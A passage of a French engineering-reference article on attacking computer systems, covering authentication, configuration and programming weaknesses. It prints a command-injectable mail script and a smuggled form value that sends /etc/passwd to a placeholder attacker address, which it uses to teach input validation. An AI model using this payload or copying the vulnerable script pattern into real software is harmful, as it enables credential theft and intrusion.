Vous êtes sur la page 1sur 17

Réf.

: H5833 V1

Attaques des systèmes -


Date de publication :
10 avril 2006 Prendre le contrôle du
Date de dernière validation :
17 février 2020
bastion

Cet article est issu de : Technologies de l'information | Sécurité des systèmes


d'information

par Laurent LEVIER

Résumé Nuire aux réseaux informatiques et aux plateformes qu’ils hébergent est tout à
fait possible pour une personne mal intentionnée, en s’en prenant par exemple à ses
fonctions de routage ou en usurpant les adresses IP. Cet article présente les moyens
d’identifier les faiblesses du système, qu’elles soient d’architecture, d’authentification, de
configuration ou de programmation. Sont ensuite détaillés les outils disponibles à ce jour
permettant de concevoir des attaques de machines, la vulgarisation des techniques
facilite malheureusement leur utilisation par des pirates même inexpérimentés.

Pour toute question :


Service Relation clientèle
Techniques de l’Ingénieur
Immeuble Pleyad 1 Document téléchargé le : 30/04/2020
39, boulevard Ornano
93288 Saint-Denis Cedex Pour le compte : 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION //
105.158.58.16
Par mail :
infos.clients@teching.com
Par téléphone :
00 33 (0)1 53 35 20 20 © Techniques de l'Ingénieur | tous droits réservés
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Parution : avril 2006 - Dernière validation : février 2020 - Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

Attaques des systèmes


Prendre le contrôle du bastion
par Laurent LEVIER
Certified Information Systems Security Professional (CISSP)
Certified Information Security Manager (CISM)
Officier de sécurité du réseau interne, Equant Télécommunications

1. Identifier les faiblesses du système ................................................... H 5 833 — 2


1.1 Faiblesses d’architecture : design .............................................................. — 2
1.2 Faiblesses d’authentification ...................................................................... — 2
1.2.1 Définition ............................................................................................. — 2
1.2.2 Qualité du mot de passe .................................................................... — 3
1.2.3 Chiffrement des données ................................................................... — 4
1.2.4 Restriction d’accès .............................................................................. — 4
1.2.5 Séparation des privilèges .................................................................. — 4
1.2.6 Ingénierie sociale................................................................................ — 5
1.3 Faiblesses de configuration ........................................................................ — 5
1.4 Faiblesses de programmation .................................................................... — 6
1.4.1 Techniques d’exploitation de vulnérabilités ..................................... — 6
1.4.2 Conséquences de l’exploitation d’une vulnérabilité........................ — 8
2. Caisse à outils........................................................................................... — 11
2.1 Bases de connaissances.............................................................................. — 11
2.1.1 Mailing lists et newsgroups............................................................... — 11
2.1.2 Sites Web spécialisés en vulnérabilités ............................................ — 11
2.1.3 Sites Web dits de sécurité .................................................................. — 11
2.2 Outils destinés à viser les réseaux ............................................................. — 11
2.3 Outils destinés à viser les systèmes d’exploitation .................................. — 12
3. Conclusion ................................................................................................. — 12
Pour en savoir plus ........................................................................................... Doc. H 5 833

ous avons vu dans les dossiers [H 5 830] et [H 5 832] qu’il est possible pour
N une personne mal intentionnée d’établir la cartographie d’un réseau, même
si celui-ci est protégé par des équipements de sécurité, mais également, tout en
restant à distance, de nuire à ce réseau en altérant par exemple ses fonctions de
routage, en trompant certains des équipements qu’il héberge par l’usurpation
d’adresses IP et maintes autres techniques.
Nous avons également découvert que les machines placées sur des réseaux
distants pouvaient être elles-mêmes la proie du pirate, soit pour accéder aux
informations qu’elles contiennent, soit pour les utiliser comme plate-forme de
« rebond » afin d’être mieux placé pour atteindre d’autres équipements, comme
le pare-feu [TE 7 550] depuis le réseau qu’il protège, ou un système secondaire
dans une architecture trois tiers par exemple.
Jusqu’à présent, le pirate n’a travaillé qu’au niveau 3 du modèle OSI du proto-
cole TCP/IP. S’il a découvert l’existence de services réseaux en écoute, il n’a tou-
jours pas la certitude de pouvoir utiliser tel ou tel port pour réaliser son attaque.
Il lui manque encore une information : quel est le point faible le plus
intéressant ?

Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
© Techniques de l’Ingénieur H 5 833 − 1

tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

ATTAQUES DES SYSTÈMES ______________________________________________________________________________________________________________


Parution : avril 2006 - Dernière validation : février 2020 - Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

Nous allons aborder ici le concept de faiblesse, et les conséquences qu’elle


induit pour un pirate, et inversement pour la victime. Bien sûr, l’évaluation de la
présence d’une faiblesse particulière exige que nous considérions non plus seu-
lement la couche réseau, mais aussi les couches supérieures qui offrent plus de
possibilités.

configuration (§ 1.3) par exemple – sont sous la responsabilité de


(0)

Sigles et abréviations l’administrateur de la machine et de la politique de sécurité de


l’entreprise. En revanche, d’autres, telles que les faiblesses d’archi-
Abréviation Définition tecture (§ 1.1) ou de programmation (§ 1.4), relèvent de la responsa-
bilité du constructeur du logiciel ou du matériel.
BBS Bulletin Board System
BGP Border Gateway Protocol
CGI Common Gateway Interface 1.1 Faiblesses d’architecture : design
CSS Cross Site Scripting
DoS Denial of Service Certains services réseaux ont été définis dès les premiers RFC,
FTP File Transfer Protocol après la définition du protocole TCP/IP lui-même. À cette époque, le
pirate ne sévissait que sur les réseaux téléphoniques (phreaking)
HTML HyperText Markup Language sur lequel on trouvait entre autres les BBS (Bulletin Board System),
HTTP HyperText Transfer Protocol précurseurs des premiers forums informatiques d’échange.
HTTPS HyperText Transfer Protocol Secure À cause de ce risque très faible et peut-être également parce que
le monde universitaire, d’où provenaient un nombre élevé de contri-
IIS Internet Information Services buteurs des RFC, était encore pour ainsi dire vierge de ces compor-
IP Internet Protocol tements indélicats, nombre de services réseaux n’ont pas été
conçus pour demander de l’authentification, même simple. De plus,
OSI Open System Interconnection la puissance des calculateurs était également peu performante,
RFC Request For Comments aussi le chiffrement était-il une notion purement militaire, dont l’uti-
lisation au sein de cette informatique naissante n’était pas encore
RPC Remote Procedure Call envisagée.
SGBDR Système de gestion de base de données rela- Ainsi, des services comme SNMP, les « r-services » (rlogin, rsh,
tionnelles rcp), et même daytime, chargen ou echo par exemple, n’offrent que
SNMP Simple Network Management Protocol peu de sécurité, voire aucune pour certains. Cela crée donc des fai-
blesses d’architecture (design) que savent exploiter les pirates pour
SQL Structured Query Language obtenir de précieuses informations qui leur permettent d’identifier
SSH Secure Shell le système qu’ils désirent attaquer.
SSL Secure Socket Layer Une faiblesse d’architecture est donc une faille dans un service ou
un produit qui permet d’engendrer une vulnérabilité. Cette faille ne
TCP Transport Control Protocol découle pas d’une erreur de programmation ou d’un bogue, mais
TLS Transport Layer Security véritablement d’une erreur de conception. Ainsi, BGP, qui réclame
une session TCP permanente, ce qui signifie que la rupture de cette
URL Uniform Resource Locator session (par l’usurpation d’adresse IP par exemple) va modifier le
VPN Virtual Private Network routage, est d’une certaine façon une faiblesse d’architecture.
WEP Wired Equivalent Privacy
WPA WiFi Protected Access
1.2 Faiblesses d’authentification

Avant tout, il importe de définir l’authentification. Il s’agit simple-


1. Identifier les faiblesses ment du processus visant à s’assurer que la personne qui désire
du système accéder à un service est bien ce qu’elle prétend être. Dans le monde
informatique, elle est représentée en général sous la forme d’une
demande d’identifiant de l’utilisateur et du mot de passe associé.

Le pirate travaille donc maintenant au niveau de la couche appli-


cation pour trouver les faiblesses de chaque service réseau accessi- 1.2.1 Définition
ble par lui. En effet, dans la plupart des cas, un pirate réussit à
pénétrer un système uniquement à cause de faiblesses qui pour-
Pour authentifier une personne, le processus d’authentification
raient être facilement évitées ou corrigées, pour peu que l’adminis-
s’appuie sur deux sources d’informations : son identité (bien sou-
trateur du système et le constructeur des logiciels qu’il utilise y
vent le nom de la personne) et un certain nombre de composantes
prêtent attention.
qui la caractérisent. Un système qui ne demande que l’identité pour
Les faiblesses sont classées en quatre grands groupes. Certains utiliser un service ou y accéder fait de l’identification, pas de
de ces groupes – les faiblesses d’authentification (§ 1.2) et de l’authentification.

Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
H 5 833 − 2 © Techniques de l’Ingénieur

tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

______________________________________________________________________________________________________________ ATTAQUES DES SYSTÈMES


Parution : avril 2006 - Dernière validation : février 2020 - Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

Ces composantes sont au nombre de trois : Un bon mot de passe ne doit pas être un mot ou un nom que l’on
— ce qu’une personne possède : par exemple, une carte trouve dans le dictionnaire, pas plus qu’un prénom, nom, plaque
d’authentification (comme une carte bancaire) ou une calculette minéralogique... En résumé, il ne doit se rencontrer nulle part
(token) générant des mots de passe uniques ; ailleurs.
— ce qu’une personne sait : par exemple, un mot de passe, un Pour être acceptable, un mot de passe doit obligatoirement faire
souvenir ; une longueur d’au moins huit caractères, et être composé de lettres
— ce qu’une personne est : par exemple, ses caractéristiques minuscules, majuscules, de chiffres et de signes. Bien sûr, plus il est
physiques comme son visage (reconnaissance faciale), la forme de long, mieux c’est. Le principe est de réduire au maximum la proba-
sa main, de son iris, de sa rétine, sa voix, ses empreintes digitales, bilité de trouver le mot de passe soit par hasard, soit de façon
etc., ou les caractéristiques d’un comportement : sa manière délibérée par une attaque de force brutale.
d’écrire, de signer ou même de taper au clavier. Une attaque de force brutale consiste à essayer séquentiellement
tous les mots de passe possibles jusqu’au succès. Le nombre de pos-
Il existe deux grands types d’authentification : l’authentification
sibilités pour un mot de passe, en fonction de sa longueur en consi-
simple et l’authentification forte.
dérant qu’il est codé en ASCII (7 bits) est au maximum de 96 (nombre
■ Authentification simple : afin de s’assurer qu’il s’agit bien de la de caractères affichables et saisissables au clavier) puissance le nom-
personne autorisée à utiliser ou accéder au service, celle-ci doit bre de caractères. Pour un mot de passe de 8 caractères, cela engen-
fournir son identifiant et une seule des composantes de l’authentifi- dre 968, soit 7 213 895 789 838 336 possibilités.
cation. Par exemple, l’authentification peut porter sur son nom d’uti- Un tel jeu de caractères peut sembler difficile à mémoriser. Mais il
lisateur et ce qu’elle sait, c’est-à-dire le mot de passe associé. existe un certain nombre d’astuces qui permettent de générer des
Cette méthode d’authentification est la plus fréquemment utilisée mots de passe complexes tout en se les rappelant facilement.
car elle est la méthode basique pour tout système d’exploitation La première méthode est la plus simple : il faut jouer sur la pho-
(encore que si le compte n’a pas de mot de passe, et donc ne nétique et l’orthographe. Par exemple, pour les familiers des jeux de
demande pas la saisie de celui-ci, cela devient de l’identification et cartes (et des SMS), ils contiennent une mine de mots de passe inté-
non plus de l’authentification). Sa qualité de protection dépend ressants. Le « pouilleux » par exemple, c’est le « Valé2Pik! » : neuf
entièrement de celle du mot de passe (§ 1.2.2). caractères, deux majuscules, un chiffre et un signe.
■ Authentification forte : le service demande à la personne de four- La deuxième méthode permet d’obtenir des mots de passe vérita-
nir son identifiant et au moins deux des composantes de l’authenti- blement complexes. Il s’agit d’associer une phrase au mot de passe.
fication, par exemple, le nom de l’utilisateur, un mot de passe et une Par exemple, imaginons un mot de passe généré par la phrase : « En
empreinte de sa rétine ou de ses doigts. été je fais de la voile, en hiver du ski, et tout le temps du vélo ». Une
telle phrase s’appelle une passphrase lorsqu’elle est utilisée telle
Un autre exemple assez fréquemment rencontré est la calculette à quelle comme mot de passe, et pourrait engendrer :
mots de passe. L’utilisateur fournit son nom (identifiant) ; il entre « Eéjf2V,hS,&ttV! ». Cela fait quinze caractères, quatre majuscules,
dans la calculette un mot de passe (qu’il sait) ou un numéro (PIN), ce six minuscules dont une avec accent (si le système d’exploitation le
qui permet de générer un mot de passe unique (calculé par la calcu- permet), quatre signes et un chiffre. Bien sûr, au niveau variété, ce
lette qu’il possède) que l’utilisateur fournit comme donnée n’est pas encore optimal. Mais l’imagination de chacun autorise
d’authentification. Il a bien fallu deux des composantes pour accé- bien d’autres combinaisons.
der au système ou à l’information.
Par ailleurs, il existe de nos jours quantités de produits qui facili-
Cette méthode est utilisée pour les accès plus risqués ou vers des tent la mémorisation des mots de passe complexes, et ceux-ci
données plus sensibles. Par exemple, la calculette est souvent utili- offrent souvent en plus le service de générer des mots de passe. Ces
sée pour permettre aux employés situés à l’extérieur de l’entreprise outils rangent les données d’authentification dans une base de don-
d’accéder au réseau interne de celle-ci par modem (dial) ou tunnel nées chiffrée, dont la clé de chiffrement est le seul et unique mot de
IPsec s’ils se connectent depuis Internet. passe (souvent plutôt une passphrase) dont l’utilisateur devra se
rappeler. Je citerai en exemple l’outil gratuit KeePass. Comme le
montre la figure 1, cet outil se présente comme une petite base de
1.2.2 Qualité du mot de passe données où l’utilisateur définit un enregistrement (par exemple,
machine x) et les différents noms des utilisateurs et mots de passe
qui y sont associés.
Dans la plupart des cas, essentiellement pour des raisons de coûts
financiers, l’authentification reste simple et s’appuie sur le couple L’outil permet à l’utilisateur de créer ses propres entrées ainsi que
nom d’utilisateur (login)/mot de passe. Par conséquent, la qualité de le montre la figure 2. Dans ce cas, un générateur de mot de passe
la protection assurée par ce couple est entièrement basée sur la réellement de qualité est également fourni. Même si le mot de passe
complexité de l’identité (le nom de l’utilisateur) et du mot de passe. est très complexe, compte tenu que c’est l’outil qui doit le
mémoriser, l’utilisateur n’en est pas pénalisé.
En général, on ne complexifie pas le nom de l’utilisateur. Au con-
traire, on aurait plutôt tendance à le standardiser et donc permettre Lorsque l’utilisateur désire accéder à un système, il lance l’outil,
à quiconque de pouvoir déterminer celui-ci simplement, sinon la fournit le mot de passe ou la passphrase qui permet de décoder la
gestion de ceux-ci deviendrait trop lourde et l’utilisateur pourrait base de données, puis sélectionne la machine qu’il désire atteindre.
oublier son identifiant informatique. C’est donc au mot de passe de Le nom de l’utilisateur apparaît sur l’écran, et le mot de passe peut
supporter toute la charge de la protection. être copié dans la mémoire tampon de la station de travail Windows
(copy password to clipboard). Il ne reste plus à l’utilisateur qu’à
taper son identifiant (à moins qu’il ne prenne celui fourni dans l’outil
Contrairement à ce qu’on pourrait penser, un mot de passe de la même manière qu’il a pris le mot de passe) et à coller le mot
n’est pas nécessairement un mot dans le sens littéral du terme. de passe dans la fenêtre de son outil de session à distance pour
En effet, le mot de passe peut être une suite aléatoire de caractè- compléter l’authentification. Après un délai paramétrable, la
res, voire de signes et de chiffres, et même être imprononçable, mémoire tampon est vidée pour éviter que le mot de passe ne
même dans des pays d’Asie ou d’Europe de l’Est. Malheureuse- puisse être conservé en mémoire et donc être récupéré par un
ment, il reste dans la plupart des cas un mot courant, quand ce « coller » effectué ultérieurement par une autre personne.
n’est pas le prénom de l’utilisateur, de son conjoint, enfant, Malheureusement, le meilleur des mots de passe ne suffit pas
parent ou animal de compagnie. toujours. Si par exemple la machine est accessible en telnet, ou si le

Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
© Techniques de l’Ingénieur H 5 833 − 3

tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

ATTAQUES DES SYSTÈMES ______________________________________________________________________________________________________________


Parution : avril 2006 - Dernière validation : février 2020 - Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

Figure 1 – Page principale de KeePass

l’auteur, la version 1 n’est plus digne de confiance. SSH permet


d’établir une session à distance, mais aussi d’assurer du transfert de
fichiers, et même de la redirection de port (TCP uniquement) par la
fonction de tunnel SSH.
Sous Windows, Ultr@VNC, PC Anywhere, Radmin, NetOp..., per-
mettent tous de chiffrer les échanges de façon plus ou moins effi-
cace et reposent sur des algorithmes propriétaires ou standards.
Pour les accès à distance à des réseaux, IPsec [TE 7 545] est une
solution idéale, mais si celui-ci est trop lourd à mettre en œuvre, on
peut également envisager les tunnels SSL ou TLS [H 5 230], comme
avec OpenVPN par exemple.
Enfin, il est important de noter que les protocoles de sécurité SSH
et IPsec font bien souvent appel à de la cryptographie asymétrique
[H 5 210], et nécessitent donc que les serveurs possèdent une clé
publique ou un certificat. Ainsi l’utilisateur pourrait devoir posséder,
en plus de son identifiant et de son mot de passe, le certificat ou la
clé publique du serveur, afin de pouvoir s’authentifier auprès de
celui-ci. Cela devient alors de l’authentification forte.

1.2.4 Restriction d’accès

En plus du contrôle d’accès par authentification, il est également


Figure 2 – Ajout d’une entrée dans KeePass possible de placer des restrictions d’accès au système. Il existe
maintes formes de restriction : le filtrage d’adresse IP source, la res-
même compte est utilisé dans un flux non chiffré tel que FTP par triction horaire, contraindre certaines opérations uniquement
exemple, un pirate pourrait écouter le réseau et ainsi simplement depuis la console, etc.
capturer le mot de passe, quelle que soit sa complexité. Si certaines de ces restrictions sont efficaces (comme la restric-
tion horaire par exemple), d’autres sont plus douteuses comme le
filtrage d’adresse IP. Pour rappel, il est possible d’usurper une
1.2.3 Chiffrement des données adresse IP, de changer le routage d’un réseau..., toute une panoplie
d’attaques qui font du filtrage d’adresse une méthode peu digne de
Afin d’éviter que les données d’authentification (quel que soit le confiance, même au sein de l’entreprise.
service réseau sur lequel elles sont utilisées) soient écoutées, il Il convient également de rappeler que chaque nouvelle restriction
convient de les chiffrer. Idéalement, il faudrait en fait chiffrer tous les est une contrainte et qu’elle aura donc un coût pour l’opération de la
flux d’administration, car un intrus pourrait également écouter une machine.
session telnet ou X11 (X Windows) par exemple et ainsi capturer un
mot de passe que l’administrateur serait en train d’assigner à un uti-
lisateur. Il existe de nos jours quantité de produits permettant 1.2.5 Séparation des privilèges
d’administrer une machine à distance avec des flux chiffrés.
Sous Unix, SSH existe en version commerciale ou gratuite Le principe de la séparation des privilèges est très simple. Un uti-
(OpenSSH). La version 2 doit être utilisée, car de l’avis même de lisateur ne doit pouvoir faire que ce qu’il est prévu qu’il fasse et

Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
H 5 833 − 4 © Techniques de l’Ingénieur

tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

______________________________________________________________________________________________________________ ATTAQUES DES SYSTÈMES


Parution : avril 2006 - Dernière validation : février 2020 - Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

autorisé à faire. Ainsi, un utilisateur dont par exemple la mission est 1.3 Faiblesses de configuration
d’imprimer des factures ne doit pouvoir effectuer que cette opéra-
tion, et donc :
L’autre grand groupe de faiblesses est celui qui dépend entière-
— il est envoyé vers l’interface permettant d’imprimer les factu-
ment de la compétence de l’administrateur du système ou de la
res dès son authentification ;
ferme opérationnelle qui héberge les systèmes.
— il ne peut faire aucun changement dans ces factures mais ne Nota : une ferme est une plate-forme où sont regroupés quantité de serveurs afin que
peut qu’imprimer sur la ou les imprimantes prévues, etc. leur opération soit facilitée.
En effet, au sein de cette fonction, tous ne se valent pas et ce ne
Pratiquement, la plupart des systèmes d’exploitation offrent un sera que trop tard que l’entreprise comprendra que le niveau de
compte pour un superutilisateur (administrateur, root, manager...). compétences de ses administrateurs système peut engendrer des
Ce compte ne devrait jamais être utilisé à distance directement, et coûts supplémentaires sous la forme de piratages, infections de
devrait servir uniquement dans certaines situations où tous les pri- vers, etc., qui auraient pu être évités avec un administrateur compé-
vilèges sont nécessaires. tent et sensible à la sécurité.
Dans les cas les plus courants, l’administration ne requiert pas Afin d’éclairer mes propos, voici l’exemple vécu par une collègue
tous les privilèges et, par conséquent, la portée du compte de cha- de travail et qui nécessite au lecteur d’être familier avec l’administra-
que administrateur devrait refléter le cadre de son travail. Ainsi, tion d’un système Unix. Une entreprise a demandé de construire une
pour rester dans la continuité de l’exemple précédent, en cas de infrastructure qui fournirait un service réseau. Le projet a été réalisé
bourrage de l’imprimante ou de besoin de détruire une impression et les machines préinstallées ont été expédiées sur le point d’hébe-
en attente, l’utilisateur devrait avoir le privilège de gérer la file rgement. Celles-ci (des serveurs Unix) n’offraient que deux services
d’impression afin de pouvoir purger celle-ci en cas de dysfonction- réseaux : celui que la machine devait fournir et SSH pour l’adminis-
nement. tration à distance. Par ailleurs, SSH était configuré pour ne pas auto-
riser directement une session avec les privilèges administrateur, et
Autre exemple, un opérateur chargé des sauvegardes d’un sys- fonctionnait avec de l’authentification par clé publique (entre autres).
tème doit disposer du privilège de lire toutes les données stockées La machine est réceptionnée par le responsable du centre d’héberge-
sur celui-ci, mais ne doit en aucun cas pouvoir modifier quoi que ce ment, qui la branche et se connecte par la console pour configurer sa
soit. couche réseau et installer ses outils de surveillance (monitoring).
Celui-ci constate alors un certain nombre d’« irrégularités » (selon
ses propres termes) et modifie la configuration.
Tout d’abord, SSH était lancé directement et non pas via inetd. Par
1.2.6 Ingénierie sociale
conséquent, il ne pouvait pas filtrer les adresses IP sources (sur le
principe d’un « TCP wrapper ») selon sa méthode. Qu’à cela ne
Enfin, on ne peut parler d’authentification sans faire un détour par tienne, il réactive inetd avec son extension TCP wrapper, et comme sa
l’ingénierie sociale. Il s’agit de la pratique visant à utiliser les faibles- version de SSH ne marchait pas bien avec inetd, il installe également
ses humaines (confiance, distraction, stress...) dans le but d’obtenir son propre SSH v1 en remplacement de la dernière version v2 sans
des privilèges ou l’accès à des informations protégées. vulnérabilités connues. De plus, en modifiant la configuration du pro-
gramme inetd pour « wrapper » le démon sshd, il n’a pas « wrappé »
Un bon exemple actuel d’ingénierie sociale est le phishing. Il les autres démons tous actifs dans la configuration de inetd. Le résul-
s’agit de courriers électroniques envoyés à quantité de personnes à tat est que la machine offrait après cette action tous les services
la manière des pourriels (spam). Dans ce courrier qui ressemble fort réseaux possibles : FTP, telnet, les RPC..., qui bien sûr n’étaient pas à
à un courrier officiel, un avis annonce en général un problème infor- jour et par conséquent certains contenaient des vulnérabilités.
matique et demande au récepteur du message d’aller sur le site de Nota : TCP wrapper est un outil dont la mission est de s’intégrer dans inetd. Il permet de
sa banque (en cliquant sur le lien présent dans le courrier) et d’y mettre en place un concept de liste de contrôle d’accès. Chaque service réseau déclaré doit
ainsi passer par l’outil TCP wrapper qui, en fonction de sa configuration, décide si l’accès
confirmer ses données d’authentification. au service réseau est autorisé ou pas d’après l’adresse IP source. Contrairement à un fil-
trage au niveau 3, TCP wrapper se contente de refuser le lancement de l’application réseau,
Bien sûr, l’utilisateur trop naïf clique pour aller sur ce qu’il croit ce qui fait que la connexion TCP réussit, mais pas l’accès au niveau application.
être la véritable page d’accueil de sa banque. Mais si la page à Deux comptes utilisateurs supplémentaires avaient été créés dont
laquelle il accède ressemble point par point à cette véritable page un seul pouvant devenir root. Ce n’était pas pratique pour l’adminis-
d’accueil de sa banque, elle n’a cependant rien à voir avec celle-ci et trateur qui avait pour habitude de se connecter directement à dis-
n’a pour but que de récolter les données d’authentification du naïf. tance en tant que root. Aucun problème, il a donc créé un autre
Une fois fait, le pirate peut aller sur le véritable compte bancaire de compte root (baptisé toor) et désactivé la configuration de SSH qui
la victime et retirer de l’argent sans son accord. En effet, soit la page empêchait de se connecter directement en tant que root. De plus,
usurpée n’est pas hébergée chez le banquier, soit le courriel qui a pour ses opérateurs qui effectuaient des tâches subalternes, il avait
fourni le lien contient une attaque d’injection de script (§ 1.4.2.4) qui créé un compte ops, avec un mot de passe ops123.
permet de modifier une partie de celle-ci en insérant un formulaire
Enfin, ne sachant pas comment configurer le pare-feu personnel
de saisie au sein de la page provenant véritablement du site du
sur la machine, il l’a tout simplement désactivé. Le résultat de cette
pirate, modifiant ainsi l’affichage sur le navigateur de l’internaute.
mésaventure est évident. La machine qui était accessible directe-
Enfin, un autre exemple de l’ingénierie sociale est très connu. Il ment depuis Internet a été piratée et tout le service compromis. Par
correspond à la méthode utilisée par le célèbre pirate Kevin Mitnick. ailleurs, outre l’impact sur les clients et la perte d’image de l’entre-
Pour pouvoir effectuer ses intrusions, il n’a pas utilisé d’outils de prise, il a fallu se rendre sur place (donc des frais de mission et un
balayage de ports ou chercher à pénétrer le système. Il a tout sim- coût humain supplémentaire) pour tout remettre dans l’ordre car
plement téléphoné à des employés trop naïfs des entreprises qu’il l’administrateur ne savait pas utiliser d’autres outils que ceux qu’il
visait, s’est fait passer pour un utilisateur avec des problèmes, un connaissait, et les documentations pourtant associées au service
officier de police faisant une enquête, un haut responsable qui veut étaient trop complexes pour lui.
tout de suite telle ou telle modification à cause de démonstrations Nous avons donc ici un cas typique de faiblesses de configuration,
devant un superclient, ou même d’un autre administrateur auprès et plus un système est mal configuré, plus il offre d’opportunités à un
des administrateurs ou des utilisateurs du système visé, dans le but pirate d’exploiter une faiblesse dans le but de pénétrer le système. Il
d’obtenir des modifications, ou des comptes et mots de passe qu’il faut garder à l’esprit qu’une machine ne doit offrir que les services
a ensuite utilisés pour accéder aux données. qu’elle est censée offrir, ainsi que le minimum nécessaire pour l’admi-

Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
© Techniques de l’Ingénieur H 5 833 − 5

tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

ATTAQUES DES SYSTÈMES ______________________________________________________________________________________________________________


Parution : avril 2006 - Dernière validation : février 2020 - Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

nistration. Si le système est protégé par un pare-feu, il faut considérer Imaginons ainsi un programmeur à qui on a demandé d’installer
que celui-ci n’est pas digne de confiance car, là aussi, l’administrateur sur un site HTTP un formulaire permettant l’envoi d’un courriel à un
peut engendrer des faiblesses de configuration qui permettraient à utilisateur quelconque tel qu’un commercial par exemple. Notre
des personnes non autorisées de traverser le pare-feu et d’atteindre programmeur réalise donc sa page de saisie où il réclame l’adresse
la machine sur des ports non autorisés. Toutefois, il ne faut pas non email de l’expéditeur, un sujet et un corps de message. Dans son
plus faire porter aux administrateurs la responsabilité de tous les formulaire, il aura placé un paramètre caché dans le genre destina-
piratages qui ont eu lieu jusqu’à ce jour. Malheureusement, même le taire=commercial@domaine.com, afin de ne pas être contraint de
plus compétent et professionnel des administrateurs ne peut pas agir créer un programme par destinataire possible. Puis il crée un script
sur ce qui n’est pas sous son contrôle, comme dans le cas de l’attente sur le serveur HTTP sous le système d’exploitation Linux (un grand
d’un correctif par exemple. classique). Ce script exécute tout simplement la commande mail en
reprenant en argument le courriel du commercial ainsi que le sujet.
Pour les habitués d’Unix, cela donne un script qui ressemble au sui-
vant et qui fait appel à un pipe (redirection de la sortie d’une
1.4 Faiblesses de programmation commande vers l’entrée d’une autre) :

# !/bin/sh
Face aux faiblesses de programmation, nous sommes désarmés
car elles sont de la responsabilité du constructeur du logiciel ou du echo "Expediteur : $AdresseFrom
matériel. Pour preuve, le système d’exploitation Windows nécessite $CorpsMessage" | mail -s "$Sujet" $AdresseVisee
très souvent (en moyenne une fois par semaine) d’installer des
mises à jour (patch) dont la mission est de corriger tel ou tel bogue. Comme le programme le démontre, aucun test n’est fait. Les don-
Quant au 14 de chaque mois, connu sous le nom de « Microsoft nées saisies dans le formulaire sont directement utilisées pour
Day », c’est la grande récolte des correctifs. l’envoi du message. Comme il se doit, la commande sera exécutée
avec les privilèges de l’utilisateur propriétaire du processus du ser-
La faiblesse de programmation est une erreur qui a été faite lors
veur HTTP, et dans le pire des cas, ce sera l’administrateur. Suppo-
de la construction du code logiciel qui définit le fonctionnement
sons qu’un pirate désire récupérer le fichier des mots de passe du
d’une application ou d’un matériel. Cette erreur, si elle est correcte-
système Unix ; il va donc tenter d’utiliser ce script pour arriver à ses
ment exploitée, peut permettre à des personnes mal intentionnées
fins. Il saisit donc les données suivantes :
d’engendrer un déni de service ou d’accéder à une application ou un
système d’exploitation, sans avoir à passer par un mécanisme
d’authentification. Courriel de l’expéditeur : une_adresse_bidon
Corps du message : rien de spécial
Il existe plusieurs méthodes et techniques standards permettant
Sujet du message : "une_adresse_bidon;cat /etc/passwd | mail
la détection et l’exploitation de ces faiblesses, soit dans le louable
email_du_pirate;echo"
but de demander la correction de l’erreur au constructeur, soit pour
le cas plus fréquent, de tenter une pénétration du système d’exploi-
tation. Selon le type de faiblesse qui va être exploité, les conséquen- Que se passe t-il donc quand le script est exécuté ? La commande
ces et possibilités d’action sont différentes. qui est véritablement lancée par le formulaire est :

echo "Expediteur : une_adresse_bidon


1.4.1 Techniques d’exploitation de vulnérabilités Rien de spécial" | mail -s " " une_adresse_bidon;cat /etc/passwd
| mail
Les faiblesses de programmation sont classées en grands grou- email_du_pirate;echo " " $une_adresse_bidon
pes selon la technique utilisée. Chaque groupe engendre en général
les mêmes conséquences, quel que le soit le système d’exploitation. Par conséquent, le courriel saisi dans le formulaire est expédié au
Par ailleurs, ces conséquences sont également réparties en plu- pirate vers l’adresse bidon qu’il a saisie. Mais une autre commande
sieurs catégories. est aussi lancée à l’insu de tous. Cette commande envoie le contenu
Il faut noter que tant les techniques que les conséquences ont un du fichier des mots de passe vers l’adresse email du pirate. Enfin,
